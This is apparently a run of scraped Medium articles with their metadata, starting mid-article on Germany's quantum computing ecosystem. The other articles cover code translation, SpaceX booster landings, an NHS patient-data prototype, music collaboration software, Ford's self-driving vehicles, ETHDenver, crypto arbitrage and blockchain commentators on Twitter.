It was clear to the roadmap committee that no single large player could lead the way alone, so the roadmap prioritizes link building between various segments of the quantum space. Filipp explained that the roadmap calls for the designation of centralized regional hubs — Centers of Competence — to form networks between universities, research institutions, and industry partners. The roadmap recommends that research should focus around technology that has reached a certain level of maturity, such as superconducting, trapped ion, and cold atom quantum computers. However, it also recommends that basic research into other hardware architectures continues, too.
The roadmap committee specifically called out the importance of fostering commercial development and technology transfer, including ensuring that companies can buy components from local businesses, rather than importing them. “We need to identify players that can actually commercialize the product,” said Filipp. Hubs will focus on creating guidelines to determine what can be built locally and what should be imported. Filipp also foresees direct information exchange between industry and research in order to further strengthen these links.
Opening Quantum to Thousands of Beginners
As Germany works to build a quantum computer of its own in the next few years, Chancellor Angela Merkel, herself holder of a quantum chemistry doctorate degree, was impressed to see IBM’s progress on their quantum computers, and decided that the country should stake a larger claim in the field as quickly as possible. That was the beginning of the relationship between Fraunhofer-Gesellschaft and IBM, with the aim to bring the first IBM Quantum System One to Europe. Fraunhofer, Europe’s leading application-oriented research organization with more than 80 research facilities, including 75 institutions across Germany, has had exclusive access to an IBM Quantum System One operated by IBM at the Ehningen location in Baden-Württemberg since January of 2021. The common goal between Fraunhofer and IBM is to stimulate and support German research in the applied quantum computing field overall.
The initiative benefits Fraunhofer researchers hoping to develop algorithms to solve practical problems, of course, but Fraunhofer also offers system access to external partners such as universities and companies who may be interested in this technology for civil research and education, yet don’t have a large budget to experiment with it at the moment, explained Prof. Dr. Oliver Ambacher from the Fraunhofer Institute for Applied Solid State Physics (IAF). Fraunhofer aims device access at beginners who want to find out more about quantum computing, as well as experts who are looking for partners on research projects or who want to develop their own quantum algorithms. Access requires a usage contract, but use is on the basis of a monthly ticket. This gives partners the greatest possible flexibility without a long-term commitment. As Fraunhofer’s purpose is to bridge research with industry, the availability of the device to German companies and researchers will hopefully help further the development of the German quantum ecosystem.
Fraunhofer’s IBM Quantum System One
Fraunhofer’s IBM Quantum System One also serves as an example of the Quantum Roadmap’s Center of Competence model in action. The federal state of Baden-Württemberg helped fund the device as well as some of the projects. At the moment, seven Fraunhofer Institutes and a host of universities and companies are getting involved in these quantum computing projects, with even more Institutes and organizations involved in the Fraunhofer Competence Network Quantum Computing.
Scientists have already had the chance to work with the IBM Quantum System One. The current projects focus on quantum optimization with resilient algorithms, software engineering of industrial quantum applications, and algorithms. Applications include new simulation approaches for materials in future energy storage systems, the optimization of financial portfolios, and the improvement of stability parameters in critical energy supply infrastructures, said Ambacher. He also thinks that the system can help build trust and important relationships for the betterment of quantum computing overall.
An Open Quantum Computer For All of Europe
German scientists are thinking beyond Germany, and are working to create an open quantum system for the whole of Europe. Frank Wilhelm-Mauch, Professor of Physics at Saarland University, hopes to offer European researchers access to a quantum computer that itself is a research and development tool to help users truly understand the depths of quantum hardware via the OpenSuperQ project, based at the Forschungszentrum Jülich in North Rhine-Westphalia.
“The public sector has a unique place in quantum computing to create tools for hardware developers to plug components into a complete machine and test them in this context,” said Wilhelm-Mauch, coordinator of the OpenSuperQ project. “With OpenSuperQ, we can train quantum computer engineers and developers on real hardware.”
The OpenSuperQ project started during some earlier German quantum computing ecosystem discussions around 2018, said Wilhelm-Mauch, as a non-commercial option for researchers in Germany and across Europe to experiment on quantum hardware. The group is now constructing a traditional superconducting quantum computer — but it’s more than just an experimental tool. Training engineers who will be able to construct and maintain quantum hardware and components is crucial to the expansion of quantum computing. Wilhelm-Mauch hopes that the OpenSuperQ device can serve as a training ground for those budding engineers.
Though its reach is continental, the OpenSuperQ project serves an important role in the German quantum ecosystem as well. The project’s location at Forschungszentrum Jülich is helping to attract and retain local quantum hardware expertise. Plus, through Forschungszentrum Jülich’s JUNIQ (Jülich UNified Infrastructure for Quantum computing) platform, businesses and researchers around Germany have access to both the OpenSuperQ device as well as other quantum hardware.
Supporting Quantum in Germany with the Qiskit Community
Since the turn of the 20th century, Germany’s scientists have played a significant role in contributing to the fundamental concepts and understanding underlying quantum technology, such as the Heisenberg Uncertainty Principle or Planck’s constant. These scientists were strongly networked in education and research on an international scale, and especially with with their German-speaking neighbors in Austria and Switzerland. These countries are famed for their unique education system that ensures a significant supply of practically trained engineers who can convert concepts into robust technological solutions, thus leading to successful innovation through collaboration with industry.
The Qiskit community team is working at several levels to engage the quantum computing community in Germany. A large German cohort attends global Qiskit events, such as the Global Summer School, for example. The Qiskit team in Europe has created events targeted to the DACH (Germany, Austria, Switzerland) audience, including our IBM Quantum Fridays seminar series, the Qiskit Hackathon Europe, and several workshops. Qiskit community interns, advocates, and enthusiasts from all over the world allow us to develop a local network of quantum computing expertise. “There are so many opportunities for young people to get into quantum computing and quantum information science that we’re practically flooded with events, conferences and opportunities to connect and network,” said Caroline de Groot, former Qiskit intern and Ph.D student at the Max-Planck-Institute for Quantum Optics.
Qiskit also collaborated with universities and Fachhochschulen in Berlin to organize Girls Day for introducing high school girls to STEM topics, in particular to quantum computing. “Girls day was an awesome way to inspire and motivate the quantum computing experts of tomorrow, and to help create an equitable German quantum workforce,” said Isabel Nha Min Le, Qiskit Intern and masters student at RWTH Aachen University.
Not only does Qiskit organize events, but it also fosters relationships with local professors and institutions, as this is perhaps the most effective way to develop a local community — building a local network requires teaming up with and between local institutions. Plus, quantum students and developers across Germany have begun to adopt Qiskit as a go-to language for programming quantum computers.
History has demonstrated that the shift to an open source mentality leads to an acceleration of innovation and advancement of technology in high-power computing. Learning from this, many in quantum computing have embraced an open source mindset from the start — this is a foundational concept of the Qiskit Community.
Get started with Qiskit here!
Access Programs for Educators and Researchers
The IBM team has developed programs to promote access to real quantum computers for different audiences. For example, the IBM Quantum Educators program provides access to real quantum hardware for educators and lecturers at universities, Fachhochschulen, and high schools that use the free, online Qiskit Textbook in their courses so that their students have access to quantum computers during their teaching sessions without having to deal with long wait times. Those who are interested can submit applications for review.
The IBM Quantum Researchers program instead focuses on academic researchers, including postdoctoral researchers and Ph.D students, working on quantum computing research projects that could potentially lead to impactful publications in areas such as the development of new algorithms or improved control of qubit systems. Currently, there are various 5- and 7-qubit systems available for academics enrolled in this program. Additionally, for researchers requiring more advanced systems for their work, IBM offers project-based Access Awards for temporary access to a 16-qubit system. Scientists can apply for the program by submitting a project proposal for a technical and merit review, with the expectation that the award will lead to results that will be shared with the scientific community via a publication or conference presentation.
—
Thanks to a multitude of efforts, quantum is flourishing in Germany, with an ecosystem built on the country’s leadership and strengths in areas such as basic research and hardware development. The way forward is one rooted in open science and collaboration at academic institutions, supported by the network building and technology transfer efforts of Centers of Competence to ensure that research supports the growth of a quantum business sector, too. This model will hopefully not only make Germany a global quantum leader, but also push the field of quantum computing forward in Europe and in the rest of the world. | https://medium.com/qiskit/how-germany-is-building-a-quantum-computing-ecosystem-1a2a01821944 | [] | 2021-06-16 20:03:43.946000+00:00 | ['Quantum Computing', 'Germany', 'Qiskit', 'Emerging Technology', 'Open Source'] |
2,283 | Facebook Develops An AI-Translator For Software Programmers | TransCoder is highly versatile
Currently, TransCoder can translate freely between C++, Java and Python, but the research team behind TransCoder says that it will be able to adapt to any programming language pair and fluently translate in between them.
Software with the sole purpose of translating between languages is already available, but the results are more often than not underwhelming and can’t be used in a fire-and-forget manner due to the differences in how each language is structured. These so-called S2S (source to source) compilers are far from compiling code errorfree and need extensive bugfixing to get the final result to work. It’s often easier to just rewrite the code from scratch in the desired language.
Any programmer who needs to change code from let’s say C# to C++ or the other way around will tell you the same thing: “Learn both C# and C++, then spend a whole lot of time rewriting code from scratch.”
TransCoder learns by translating not only from a source language to a target language but also reverse translating it back. If you have used Google translator in the past, then you surely know that hitting “reverse translate” a few times can give you weird results as the translator pulls more things out of context.
TransCoder translates code both ways to pick up on these differences and tweaks the code until both ways give the expected results. This way, it ensures coherence. | https://medium.com/illumination-curated/facebook-develops-an-ai-translator-for-software-programmers-c514f16d2fc5 | ['Kevin Buddaeus'] | 2020-06-09 09:51:49.637000+00:00 | ['Technology', 'Software Development', 'Business', 'AI', 'Programming'] |
2,284 | How does SpaceX rocket return to earth? | We all know what kind of technological marvel is SpaceX’s Falcon 9 Booster landing back on earth is. But How does it work ? What actually goes inside the rocket booster before performing those mesmerizing maneuvers ?
Let’s dive right in!
The booster contains high precision GPS, gyroscopes, and accelerometers at both top and bottom ends to precisely estimate the booster orientation, position, and velocity. The booster also contains a huge number of strain gauges that monitor forces on the structure at crucial locations, especially engine thrust. (Strain gauges are exquisitely sensitive thin films that are bonded to surfaces to electrically measure the stretching and compression of structures.)
All of these data inputs are timestamped so the three-way redundant computers can calculate where the booster was microseconds ago. By comparing the past position and vector to the desired course, the latest navigation error is calculated.
The computers run many physics equations on GPUs. These are used to optimize the flight path, calculate errors, and control thrust vectoring, grid fin positions, and cold gas thruster durations.
The booster has three opportunities to correct course using the main engines. Each burn is typically done with the center engine alone or with 3 in-a-row engines.
The booster is much lighter after consuming propellant and detaching from the second stage, so the first burn is surprisingly short.
In a boost-back burn, the booster is first flipped end-for-end. The burn reverses horizontal velocity to return to land near the launch site or, for a drone-ship landing, the horizontal velocity is nearly zeroed or reduced as fuel allows. (All simulated in advance to select the landing position.)
In some rare cases, when fuel will be scarce, the first burn is just a minor course correction that may even briefly boost downrange before the flip maneuver occurs. This fuel-starved booster will reenter the atmosphere at a rather shallow angle.
The reentry burn is primarily used to reduce air velocity so that the booster is not damaged by reentry heat (the exhaust flame is actually much cooler than the hypersonic shock wave), but is also the second opportunity to correct any reentry path error.
In between the reentry burn and the landing burn, there is a relatively long time spent falling through increasingly thick air. The waffle-shaped grid-fins, around the top, can force the booster to be oriented rather broadside in the air stream, while conserving the maneuvering thruster gas. The broadside orientation primarily bleeds off velocity, but any tilt also changes horizontal velocity. During this period, the booster slows from hypersonic to trans-sonic. Up to 10% of the altitude drop can be exploited to make horizontal adjustments while falling.
The landing burn is the final opportunity to correct the horizontal error. Although the concrete landing zones have over 30 meters radius, the drone ship decks allow only 10 meters error. As the booster slows and approaches the landing pad, the top priority shifts to zeroing out the horizontal and vertical velocities as the landing legs touch down. At this time, any residual horizontal error under 10 meters is nominal, although Falcon9 usually lands within a couple meters.
To minimize fuel consumption, the landing burn is sequenced with 1, then 3, then 1 engine(s) running. The three-engine burn interval ends with a velocity & altitude that allows the single center engine to operate in the middle of its throttle-range. This throttling and center engine tilting (gimbal) are both part of “thrust vector control”, which can provide significant sideways force at the bottom of the booster. As the booster slows during this last burn, the grid-fins loose efficacy. The cold gas thrusters are used to compensate. Since these are also located at the top, they have little effect on the base.
Since the throttle range of one engine does not include a level where hovering is possible, the booster must decelerate all the way down to the landing surface, and shut-off with microsecond accuracy before the touch-down. Excess error will either lift the booster away again, or consume the landing leg crush material (or both).
The landing zone has stationary GPS receivers that provide continuous reference corrections for the booster’s onboard GPS. (The raw data from both receivers are combined, improving the GPS precision from three meters to about two centimeter, relative to the landing site. See “Differential GPS”) The air speed and direction at the landing site is also measured. Of course this implies a landing zone data channel transmitting such data to the booster.
The onboard landing radar provides precise data on altitude and doppler velocity. (During planning for the first Falcon Heavy dual-booster landing spectacle, there was concern about possible interference between the two landing radars, so the booster landings were intentionally staggered in time to minimize this possibility.)
When landing on a drone-ship, the landing is further complicated by the ocean waves moving the landing surface. Waves are not completely predictable from analysis of past events, so this tends to consume the crush material in the landing legs. | https://medium.com/predict/how-spacexs-rocket-boosters-land-on-earth-c46694a6ef99 | ['Semi Sentient Sentinel'] | 2021-09-02 17:50:11.598000+00:00 | ['Rockets', 'Spacex', 'Elon Musk', 'Technology', 'Space'] |
2,285 | Building PEACH Cancer🛠 | For the past 5 months, we have been working on the PEACH Cancer project — a platform for doctors and healthcare professionals with the aim of improving productivity and data accuracy within the NHS.
Today, we want to share with you how we built our prototype and what we learnt along the way!
What is PEACH Cancer?
At it’s core, PEACH Cancer is an interface to patient data. Its aim is to replace paper records in the NHS. The idea is it that doctors can retrieve and update patient data in one federated system, ensuring that details are never out of date.
Compare that to how things work now, with patient data being entered on paper forms and then emailed or faxed (…yes, faxed…) from hospital to hospital.
A day in the life of an NHS doctor 😱
Obviously, this is a pretty big task, and it’s success relies heavily on its reception by doctors. Hence, the need for a lightweight prototype application which we can use to demonstrate the potential benefits of the system and green-light the development of a production ready application!
What have we built?
We have built a demonstrative platform based on the cancer multidisciplinary team (MDT) meeting, which enables access to the underlying patient data.
Home page
Our prototype provides a couple of core features…
User Roles
In any medical application, access roles are important and this was one of the core requirements of PEACH Cancer. To do this we added a role identifier to each user. That identifier could then be used to limit access to parts of the app — ensuring confidential data was not leaked.
{
id: null,
role: null,
openEHRSessionId: ‘’,
firstName: ‘’,
lastName: ‘’,
loading: false,
error: false
}
So we can model users like this, and upon login hydrate this with user-specific data. When attached to the Redux reducer we can use this data throughout the UI and in business logic, such as deciding whether a user can view a particular part of the dashboard.
Jobs List
A convenience and organisational feature which keeps a log of a user’s tasks which have been assigned through the system.
Scheduler
A neat way of visualising, creating and updating meetings.
Case Preparation
The ability to access and update patient details in preparation for the MDT.
Technology
Our prototype is a full-stack javascript application, making use of the Electrode.io framework. We chose this framework primarily for it’s simplicity. The ability to use a single language on both front- and back-end was awesome! Additionally, it is an opinionated framework, which has helped mitigate bikeshedding within our team 🙃
In addition, React’s component based model works incredibly well when building complex UIs. Additionally, when coupled with Redux, handling complex application state becomes incredibly manageable.
Deployment
We deployed our app to Azure. Initially we had some problems, specifically with asset loading. After failing to debug the issues internally, we reached out to the Electrode.io team for help which prompted us to initialise an Azure virtual machine.
Still to do
Clearly, what we have here is just a prototype. This wouldn’t be suitable for production for a variety of reasons — security being just one.
We hope to extend this proof of concept in the following ways
Improved UI — sounds unimportant, but UX has proved itself to be incredibly important to the success of software. Our application could benefit from work on both the visual cohesion of the application, and user feedback from the UI when an action is performed.
Security — currently, security is just a check that the user’s role === admin. Obviously, this is really flimsy, and easily hackable. An easy improvement to this would be to store user details on the backend, and identify users with a JWT (or something similar).
Additional Features — a live chat component would be really useful for collaboration on the system.
Our Team
Ben Hadfield | Julien Nahum | Sim Zi Jian | https://medium.com/ucl-peach/building-peach-a223d20b9d14 | ['Ben Hadfield'] | 2017-04-17 11:29:37.483000+00:00 | ['Nhs', 'Healthcare', 'Software Development', 'Prototype', 'Health Technology'] |
2,286 | Webinar Recording: Predicting food and feed risks with the use of data science | Written by Louise Stokes, Director, Digital Leaders
The innovative use of data has truly transformed the way the Strategic Surveillance team at the Food Standards Agency predict and identify emerging food and feed risks. Their effective use of open data and use of data science techniques, combined with an agile way of working has enabled the business and technical teams, to work together as one team — evaluate and investigate use cases, speak a common language, build iterative prototypes — enabling a faster, better and collaborative response to business problems.
In this webinar we hear from Jesus Alvarez-Pinera, the Head of Strategic Surveillance from the FSA and Nitin Gangwani, Senior Manager and Project Lead from Cognizant on how the application of data science is helping the FSA to build a bigger picture of the food system, predict emerging food risks and vulnerabilities before they become a risk to public health. The webinar is packed with data-driven insights and share useful information on: | https://medium.com/digital-leaders-uk/webinar-recording-predicting-food-and-feed-risks-with-the-use-of-data-science-c42888903ad4 | ['Digital Leaders'] | 2019-03-26 12:32:22.972000+00:00 | ['Flood Risk', 'Digital', 'Technology', 'Data', 'Data Science'] |
2,287 | 2 — What am I building?. Here’s the beautiful design I shared in… | BeatConnect’s first design
Here’s the beautiful design I shared in my last post, the first tangible element of what would become BeatConnect. Excitedly and proudly I show this to my buddies and Alex. “Guys look! It’s awesome right?! We can see each other and send music!!” I was greeted with the deafening sound of silence and polite “oh that’s nice”, like my grandma used to say when I was 4 years old and scribbled something incomprehensible with red crayon on construction paper.
Still there was something there… It had the parts I was looking for, but my vision for how this would turn out was still a bit muddy in my mind, if that wasn’t obvious by looking at the design. I figured I might as well just get my hands dirty and see if I could actually build it.
Now back in my heyday I used to really enjoy coding; I got into it because I was into gaming, did a few projects, even worked professionally for a few years before getting lured into management for the promise of paychecks without actually needing to produce any work other than telling people that they’re doing a good job and frowning if they’re late. I’m a little / very rusty but used to be decent enough and I figured this was a worthwhile project to try and dust off my skills. I just needed to decide on an approach of how I wanted to build it and how it would actually work.
One particular thing to note with beat makers and producers is that we are very religious about our software, even though we don’t really understand how to use it. It’s almost a defining characteristic, like looking at t-shirts on a metalhead before a concert. Ableton, Reason, Pro Tools, etc. we are brand fanboys until we die and nothing will make us change our minds. Now there is a reason for this: music is complicated, music technology especially so. I remember the first time I opened up Reason and I just stared at all the knobs and buttons and digital cables flying all over the place. It’s almost unreal.
I actually love Reason but yeah you get the point..
So you can imagine that after a ridiculous amount of time and hair-loss once we eventually figure out what button will make a pleasing sound come out of our speakers we never let that button go; it becomes our safe space, our haven. We feel at peace with this button. But that other software? Sure, it may be cool and have pretty colours… but it’s not the same button. It’s a DIFFERENT button. Now I need to do the whole mating ritual all over again! And then… it doesn’t sound the same :(
It’s an important topic because I knew if I was going to build something no matter how good it was there was no point in trying to get anyone to switch their DAW (Digital audio workstation, the music software). So I decided to try and make this work as a plugin. One of the fun parts of music production is that you can always add a new piece of gear to expand your repertoire that will add new sounds or modify your sounds with crazy effects; it’s like an artist getting to choose from new colours except there seems to be a never-ending cascade of new colours to choose from.
Back in the day you would have to go to the music store and shell out your life savings for a fancy new piece of equipment or new guitar. These days though you can hop online and just download some virtual instruments (VSTs). The beauty of these is that they are plug-ins and you can slap them into any DAW and then voila! New sounds!
So that was the angle and strategy: If I could make a VST that could connect to other DAWs, then I’m able to make music remotely and I’ve solved the issue of producers being scared of new software! | https://medium.com/@nicholas-laroche/2-what-am-i-building-69aea84c4713 | ['Nicholas Laroche'] | 2020-12-27 15:57:54.886000+00:00 | ['Technology', 'Music Production', 'Design Process', 'Remote Collaboration'] |
2,288 | How Ford’s Next-Gen Test Vehicle Lays the Foundation for Our Self-Driving Business | How Ford’s Next-Gen Test Vehicle Lays the Foundation for Our Self-Driving Business
A fourth-generation self-driving test vehicle from Ford and Argo AI
Launching a self-driving service is complex. Many different pieces need to come together to create a trusted and scalable self-driving service that provides value to customers and the cities they operate in. At Ford, we are taking a thoughtful approach to how we bring together all these pieces to help shape the future of self-driving vehicles. One important part of this service is the vehicle, which will allow us to stand up our self-driving business.
Meet the Fourth Generation Self-Driving Test Vehicle: Beginning to roll out this month, Ford and Argo AI‘s fourth-generation self-driving test vehicles are built on the Escape Hybrid platform and feature the latest advancements in sensing and computing technology. The Escape Hybrid is also the architecture and platform we have chosen to use to bring our autonomous vehicle service online.
What This Means for our Self-Driving Service: The systems we’re incorporating into our newest test vehicles are “launch-intent” in terms of the components we believe will be needed to support commercialization. What this means is that with a well-defined architecture and platform in the Escape Hybrid, our team can continuously test and refine performance over the coming years to better prepare us for launch. Everything we learn while using them can be channeled directly into our self-driving service as soon as it starts serving customers.
Here is a glimpse of the engineering advancements you’ll see on the new vehicles. | https://medium.com/self-driven/how-fords-next-gen-test-vehicle-lays-the-foundation-for-our-self-driving-business-aadbf247b6ce | ['Ford Motor Company'] | 2020-10-20 16:02:24.793000+00:00 | ['Autonomous Cars', 'Automation', 'Technology', 'Self Driving Cars', 'Business'] |
2,289 | ETHDenver 2021 Attendee, Judge, Speaker & Volunteer Applications Are Now Open | ETHDenver 2021 Attendee, Judge, Speaker & Volunteer Applications Are Now Open
We’re looking forward to connecting with you virtually February 5–12 for ETHDenver & ColoradoJam Innovation Festival & BUIDLathon 2021! It’s the Year of the Spork Marmot, the Year We Fortify, and both attendee and speaker applications open today!
Like always, ETHDenver is free to attend and we offer merit-based speaking opportunities, but you must apply to attend, and/or to speak. Apply today so that you can join us for:
100k+ in Bounties, Prizes & Investments
Explore the Virtual Castle: Sponsor Shill Zone with Gamified Incentives, Art Gallery & Auction, Maker Space, Zen Zone, Live Concert Experience, Blockchain Arcade, DJ Livestream Sets, Special Game Swag & More
Nightly Melees in the Virtual ETHDenver World & Minecraft Castle
Play Games on Livestream with Colorado Officials, Vitalik Buterin & Others
Panels & Talks by Industry Luminaries, Top Projects & Community Contributors
Real Opportunities to Connect with Other BUIDLers & VIPs
Opportunities to Connect with Other BUIDLers & VIPs A Live Pitch Competition, Shark Tank-Style
Group Mentorship Opportunities
And So Much More!
Get ready to #WieldYourSporks and apply to attend, judge, speak, or volunteer today! | https://medium.com/ethdenver/ethdenver-2021-attendee-speaker-applications-are-now-open-dade6501b2e6 | [] | 2020-12-16 18:56:23.905000+00:00 | ['Hackathons', 'Ethdenver', 'Ethereum Blockchain', 'Blockchain Technology', 'Ethereum'] |
2,290 | Buy Low Sell High: The Science Behind Crypto-Arbitrage | The following is a write-up of the speech that I did for bitfwd on Friday 20th at UNSW on arbitrage. It has been edited for conciseness and formatting. The corresponding slides can be found here.
It is aimed at those with relatively little exposure to finance and cryptocurrency and want to get started with trading. I talk generally about one type of trading strategy — arbitrage — and how you can get started here. Apologies if I oversimplify some concepts — I aim for clarity and a stepping stone, rather than technical depth.
Feel free to email me at [email protected] if you have any questions. Thanks!
What is Arbitrage?
Arbitrage is when you buy and sell an asset at pretty much the same time to make a profit from the price difference. Essentially, buy low, sell high, but simultaneously.
Let’s take Taobao and Alibaba, for example: I see an air filter, and it’s listed on Taobao for 700 yuan. Now I go on Alibaba and see the same brand of air filter is being sold for an average of 1000 yuan. What I can do is this: I buy the air filter on Taobao for 700 yuan, and then instantly sell the air filter on Alibaba for 1000 yuan. I now have 1000 yuan, which is 300 more than I started with. I’ve made 300 yuan in an essentially riskless transaction.
Another example, using bitcoin: in Australia, the price of bitcoin is 900 AUD. In the US, the price of bitcoin is 1000 USD. Let’s say 1 USD is equal to 1 AUD. So, I buy bitcoin is Australia for 900 AUD, sell it in the US for 1000 USD, and then exchange my USD back to AUD. I now have 1000 AUD, which is 100 AUD more than I started with. Obviously this is a simplified example not including transaction fees and transfer delays but we will ignore them for now for the sake of explanation.
Why Does It Happen?
In the real world, markets are inefficient. Assume that the price of an asset reflects all the known information behind that asset. As we know, information doesn’t transfer from one location to the other instantly.
Take the example of China and Australia. Let’s say that in Australia, the government releases news saying that they’ve banned bitcoin completely. As a result, everyone starts panicking and selling. The price of bitcoin crashes. Now, most people in Australia are awake at this time — but in China, it’s 3am and everyone is asleep. There is no one panicking, or even thinking about bitcoin. The bitcoin price has not moved one bit.
What does this mean? It means that while everyone else in Australia is panicking and going crazy about their bitcoins, you can smile to yourself and celebrate. There is an arbitrage opportunity. You buy bitcoin in Australia and quickly sell in China, for a profit. A few hours later, people in China wake up and read the news about Australian bitcoin. They start panicking as well, since it could mean bad news for Chinese bitcoin. The price drops, until it matches the price in Australia. There is no more arbitrage opportunity. However, you’re already long gone — and you drive away in your new Tesla with your earnings.
Why Arbitrage Cryptocurrencies?
The market is not mature. The first bitcoin exchange opened in 2010; the first stock exchange opened in 1642. Information transfers much slower, and there are less traders and therefore less competition. By arbitraging crypto-currencies, you are a first-mover. There is a high barrier of entry to trade. For example, some exchanges only allow deposits and withdrawals if you have banks accounts in their country. If you have these connections, this is a huge advantage. Cryptocurrencies are really, really volatile. If you ask the average person on the street, this is a bad thing. As an arbitrage trader, the more volatile an asset is, the bigger the price differences, and therefore the more profit you can make. Arbitrage turns crypto-currency trading, a traditionally risky investment, into a low-risk venture that generates consistent profit.
Examples of Spreads
So, what are some of the spreads I’ve seen? There was a 2.92% price difference between the exchange Kraken and the exchange theRockTrading company. In particular, you could buy 853 US dollars worth of bitcoin and sell it in Canadian dollars for a 25 dollar profit. Obviously, this isn’t much — but consider that this is just one trade, and you might be making hundreds or even thousands of these trades a day. The profits add up.
The largest spread I’ve seen was between the US and Korea, which was something ridiculous like a 40% spread. That’s one trade. Meaning if I put in $100 000 dollars, I make $40 000 instantly.
Types of Arbitrage
Obviously, it can’t be this easy. Traders have come up with more and more sophisticated strategies to beat the competition. Some examples are:
Simple arbitrage : this is buying and selling the same asset simultaneously. Like our taobao-alibaba example. Triangular arbitrage : this is taking advantage of a price difference between three different currencies. Buy bitcoin in China, sell the bitcoin in the US, and then exchange the US dollar back into yuan for a profit. Convergence arbitrage is where things get interesting. Take the following example: the price of bitcoin in BTCC is 5500 yuan, and the price of bitcoin in Huobi is 5000 yuan. The price in huobi is undervalued and the price in BTCC is overvalued. So, let’s buy the bitcoin in Huobi and short sell the bitcoin in BTCC. At some point in the future, the prices will become more equal, meeting somewhere in the middle — your profit is equal to the amount of convergence. Future Index Arbitrage : Some exchanges, such as bitmex, allow you to buy bitcoin on a futures contract. This is a more sophisticated arbitrage strategy which I won’t go into depth here. It’s related to examining the interest rate on futures contracts and taking advantage of any mispricings.
A Deeper Look: Triangular Arbitrage
Benefits of triangular arb: it’s very easy to get started. Triangular arbitrage is also one of the least risky arbitrage strategies — there’s no need for you to perform price predictions or wait for a price to converge.
However, because it’s so simple there are some consequences. You’re definitely not going to be making as much money as other strategies. Consider the withdrawal fees of bitfinex — that’s a minimum $20 withdrawal. If you exchange $2 000 dollars, that implies you’ll need to be making more than 1% per trade to be profitable. And that’s not even taking into account other associated fees.
This isn’t the only problem. You’ll need a way to exchange your money back. Let’s say you find an arbitrage opportunity to buy in the US and sell in China. You’re now stuck with Chinese yuan which you need to exchange back to US dollar. This is obviously difficult, due to capital control or the high fees if you go through the bank. Some money transfer services you might want to check out are Transferwise or OFX.
Arbitrage Risks (General)
Below are some of the major risks related to arbitrage strategies.
Competition risk. One of the key reasons why arbitraging crypto-currencies is so, so profitable is because there’s not much competition. As more and more people see the opportunities in arbitrage trading this is going to decrease. Heck, even by writing this up I’m decreasing my own profits since some of you might go back home and try it out. Slippage risk. What do we mean by slippage? This is the difference between the expected price and the price the trade is actually executed at. This can be due to a number of reasons. These include things such as internet delays — such as through the great wall, long block confirmation times or even sending incorrect data. As a result, you could lose money from making an incorrect trade. Volatility risk. As arbitrage traders, we want the price to go crazy! If bitcoin becomes stable, then our profit margins decrease. Concentration risk. Let’s say we find a bunch of our opportunities coming from a single source. Then we end up concentrating most of our assets in a single currency, or a single exchange. If you guys have been following the news, this is really really bad. Just look at the DAO hack, or the BitFinex hack. Always diversify — this is one of the number one rules of investing. Liquidity risk. It’s important that you can actually execute on the opportunity — if the market isn’t liquid, there’s no way you can actually make the trade and therefore make a profit.
How to Manage Risks: “H-O-D-L”
So how do we actually manage these risks. In the bitcoin community, we have a meme — always remember to HODL. What does this mean?
The ‘H’ stands for Hedge.
There is an opportunity between China and Australia. You buy bitcoin in China, and you want to sell it in the Australia. So you transfer the bitcoin to the Australia exchange. That takes a while — maybe something like an hour to transfer. In that hour, the bitcoin price crashes.
We really want to avoid this, so we hedge against bitcoin, meaning that while we are waiting for our bitcoin to transfer, we also short the bitcoin. Then, if the bitcoin price crashes we lose money from our bitcoin, but we make money from our short position, so it balances out.
This is one example of a hedging strategy. I’m not going to go into hedging here, but the different hedging strategies that traders use actually determine who makes the most money. I would heavily recommend reading up more on hedging strategies before you start arbitraging large volumes. The ‘O’ stands for Optimising your Algorithm.
You want to avoid delays in your trading as much as possible. When you press buy, or sell, you want that to be instant and not slow because of your clumsy fingers or network speed.
Why does everyone want to move to New York? If your answer is “Trump Tower”, you can leave right now. The closer you are to the NASDAQ, the faster your trade is executed. Similarly, by trading on servers closer to the exchanges, or using a trading program to help you trade allow you to avoid slippage risk. The ‘D’ stands for Diversify.
One of the principles of investing is to diversify! This is the same for crypto-currencies. Don’t only invest in one exchange, or one crypto-currency — invest in many! Remember decentralization? This is essentially the investment version. And lastly, the ‘L’ stands for Limit Exposure.
Never arbitrage more than you can afford to lose. Sometimes things go wrong, and sometimes things get hacked. Have a hard limit on the amount you can lose in a single trade. Wear a safety hat.
Conclusion
Arbitrage over the cryptocurrency markets is a very, very profitable way to trade, if you know what you’re doing. Remember, these markets are still relatively young. Get in early, before the opportunities dry up. | https://medium.com/bitfwd/buy-low-sell-high-the-science-behind-crypto-arbitrage-9c9625845431 | [] | 2017-12-11 23:01:01.334000+00:00 | ['Blockchain Development', 'Startup Ideas', 'Arbitrage', 'Bitcoin', 'Blockchain Technology'] |
2,291 | Starting To Follow Blockchain? Don’t Miss These 7 “Follows” On Twitter | Blockchain is moving faster than Bitcoin can validate a hash
The world of blockchain is moving faster than Bitcoin can validate a hash. It’s nearly impossible to keep up. What makes it difficult is the near infinite volume of articles, interviews, advertisements, and opinions on the subject. There’s no clear voice. No clear information. There’s not even a clear technology underpinning the evolution.
How are we supposed to make sense of it all?
Fortunately, the blockchain world is filled with some incredible minds — people worth listening to. In an effort to simplify a search to find these people, I have composed a list of valuable voices covering the most important development and trends in the blockchain space and community.
The list is not organized in any specific manner — I am not trying to say one voice is better than the other. And of course, it is not comprehensive, it’s missing people that others will find invaluable. But it is a good start and if you’re like me it may open up a few rabbit holes that will provide hours of Friday night entertainment.
Andreas Antonopoulos
Twitter: https://twitter.com/aantonop
Podcast: https://www.youtube.com/aantonop
Andreas Antonopoulos has become one of the most well-known authorities on Bitcoin and he’s written at length on the subject. In particular, if you’re just getting started, there are two articles you need to read from Andreas: “Mastering Bitcoin” and “The Internet of Money”
If you search YouTube for him, you’ll find him everywhere and his talks are a great place to tune into to get a deeper understanding of the context that surrounds cryptocurrency. You can also find him on the “Let’s Talk Bitcoin” podcast.
Vitalik Buterin
Twitter: https://twitter.com/vitalikbuterin
Vitalik is the Russian-Canadian co-founder and the main front man for Ethereum, which is both a platform and a cryptocurrency called ether. Ethereum is special because it’s one of the first blockchain protocols to gain heavy investment and adoption from companies like JP Morgan, Scotiabank, and Microsoft.
Nick Szabo
Twitter: https://twitter.com/nickszabo4
Nick Szabo is a computer scientist and cryptographer who is best known for his work on creating secure internet contracts called smart contracts. He’s been such an influence on the Ethereum team that they labelled a sub-unit of value token as a Szabo — just as Bitcoin has labelled a sub-unit of its cryptocurrency a Satoshi. Some speculate that Nick is Satoshi Nakamoto, a claim that he’s repeatedly denied. But he has been, and continues to be, a strong influence in the cryptocurrency space.
Erik Voorhees
Twitter: https://twitter.com/ErikVoorhees
